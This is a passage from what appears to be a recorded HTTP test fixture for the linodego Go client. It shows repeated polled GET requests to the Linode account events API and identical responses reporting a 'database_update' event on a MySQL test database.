Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:25:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:25:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:26:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:26:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:26:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:26:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:27:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:27:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:27:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:27:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:28:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:28:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:28:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:28:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:29:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:29:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:29:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + 